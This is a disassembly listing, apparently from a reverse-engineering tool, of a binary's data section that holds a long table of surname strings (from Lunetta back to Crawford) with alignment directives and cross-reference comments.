aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E014o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E010o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E00Co
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E008o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E004o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E000o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: ___:0042DFFCo
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042DFF8o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042DFF4o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042DFF0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042DFECo
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042DFE8o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042DFE4o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042DFE0o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042DFDCo
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042DFD8o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFD4o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFD0o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFCCo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFC8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFC4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFC0o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFBCo
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFB8o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFB4o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFB0o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFACo
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFA8o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042DFA4o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DFA0o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DF9Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DF98o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DF94o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DF90o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DF8Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DF88o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DF84o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DF80o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DF7Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DF78o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DF74o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DF70o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF6Co
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF68o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF64o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF60o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF5Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF58o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF54o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF50o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF4Co
aLa		db 'La',0               ; DATA XREF: ___:0042DF48o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF44o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF40o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF3Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF38o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF34o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF30o
aKraus		db 'Kraus',0
		align 10h
aKrasney	db 'Krasney',0
aKrailo		db 'Krailo',0
		align 10h
aKraemer	db 'Kraemer',0
aKovaks		db 'Kovaks',0
		align 10h
aKotter		db 'Kotter',0
		align 4
aKorzybski	db 'Korzybski',0
		align 4
aKool		db 'Kool',0
		align 4
aKonrad		db 'Konrad',0
		align 4
aKoniaris	db 'Koniaris',0
		align 10h
aKommer		db 'Kommer',0
		align 4
aKoivumaki	db 'Koivumaki',0
		align 4
aKohn		db 'Kohn',0
		align 4
aKoch		db 'Koch',0
		align 4
aKobrick	db 'Kobrick',0
aKnuff		db 'Knuff',0
		align 4
aKlint		db 'Klint',0
		align 4
aKlinkenborg	db 'Klinkenborg',0
aKling		db 'Kling',0
		align 10h
aKlemperer	db 'Klemperer',0
		align 4
aKleinfelder	db 'Kleinfelder',0
aKleiman	db 'Kleiman',0
aKleckner	db 'Kleckner',0
		align 4
aKittridge	db 'Kittridge',0
		align 4
aKirscht	db 'Kirscht',0
aKippenberger	db 'Kippenberger',0
		align 10h
aKinsley	db 'Kinsley',0
aKindall	db 'Kindall',0
aKimura		db 'Kimura',0
		align 4
aKimmett	db 'Kimmett',0
aKimmel		db 'Kimmel',0
		align 4
aKhong		db 'Khong',0
		align 10h
aKeul		db 'Keul',0
		align 4
aKerry		db 'Kerry',0
		align 10h
aKendall	db 'Kendall',0
aKemsley	db 'Kemsley',0
aKempton	db 'Kempton',0
aKelsey		db 'Kelsey',0
		align 10h
aKelker		db 'Kelker',0
		align 4
aKeith		db 'Keith',0
		align 10h
aKeepper	db 'Keepper',0
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042DE88o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: ___:0042DE84o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042DE80o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042DE7Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DE78o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DE74o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DE70o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE6Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE68o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE64o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE60o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE5Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE58o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE54o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE50o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE4Co
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE48o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE44o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE40o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE3Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE38o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE34o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE30o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE2Co
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE28o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE24o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE20o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE1Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE18o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE14o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE10o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE0Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE08o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DE04o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: ___:0042DE00o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DDFCo
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DDF8o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DDF4o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DDF0o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DDECo
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DDE8o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DDE4o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DDE0o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DDDCo
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DDD8o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDD4o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDD0o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDCCo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDC8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDC4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDC0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDBCo
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDB8o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDB4o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDB0o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDACo
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDA8o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DDA4o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DDA0o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DD9Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DD98o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DD94o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DD90o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DD8Co
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DD88o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DD84o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DD80o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DD7Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DD78o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD74o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD70o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD6Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD68o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD64o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD60o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD5Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD58o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD54o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD50o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD4Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD48o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD44o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD40o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD3Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD38o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD34o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD30o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD2Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD28o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD24o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD20o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD1Co
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD18o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD14o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD10o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD0Co
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD08o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DD04o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DD00o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DCFCo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DCF8o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DCF4o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DCF0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DCECo
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DCE8o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DCE4o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DCE0o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DCDCo
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DCD8o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCD4o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCD0o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCCCo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCC8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCC4o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCC0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCBCo
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCB8o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCB4o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCB0o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCACo
		align 10h
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCA8o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DCA4o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DCA0o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DC9Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DC98o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DC94o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DC90o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DC8Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DC88o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DC84o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DC80o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DC7Co
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DC78o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC74o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC70o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC6Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC68o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC64o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC60o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC5Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC58o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC54o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC50o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC4Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC48o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC44o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC40o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC3Co
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC38o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC34o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC30o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC2Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC28o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC24o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC20o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC1Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC18o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC14o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC10o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC0Co
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC08o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DC04o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DC00o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DBFCo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DBF8o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DBF4o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DBECo
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DBE8o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DBE4o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: ___:0042DBE0o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DBDCo
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DBD8o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBD4o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBCCo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBC8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBC4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBC0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBBCo
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBB8o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBB4o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBB0o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBACo
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBA8o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DBA4o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DBA0o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DB9Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DB98o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DB94o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DB90o
		align 10h
aField		db 'Field',0            ; DATA XREF: ___:0042DB8Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DB88o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DB84o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DB80o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DB7Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DB78o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB74o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB70o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB6Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB68o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB64o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB60o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB5Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB58o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB54o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB50o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB4Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB48o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB44o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB40o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB3Co
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB38o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB34o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB30o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB2Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB28o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB24o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB20o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB1Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB18o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB14o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB10o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB0Co
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB08o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DB04o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DB00o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DAFCo
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DAF8o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DAF4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DAF0o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DAECo
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DAE8o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DAE4o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DAE0o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DADCo
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DAD8o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DAD4o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAD0o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DACCo
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAC8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DAC4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAC0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DABCo
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAB8o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAB4o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAB0o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAACo
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAA8o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DAA4o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DAA0o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DA9Co
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DA98o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DA94o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DA90o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DA8Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DA88o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DA84o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DA80o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DA7Co
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DA78o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA74o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA70o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA6Co
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA68o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA64o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA60o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA5Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA58o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA54o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA50o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA4Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA48o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA44o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA40o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA3Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA38o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA34o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA30o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA2Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA28o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA24o
		align 10h
aDas		db 'Das',0              ; DATA XREF: ___:0042DA20o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA1Co
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA18o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA14o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA10o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA0Co
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA08o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DA04o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DA00o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042D9FCo
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042D9F8o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042D9F4o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042D9F0o
aCui		db 'Cui',0              ; DATA XREF: ___:0042D9ECo
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042D9E8o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042D9E4o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042D9E0o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042D9DCo
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042D9D8o
		align 4
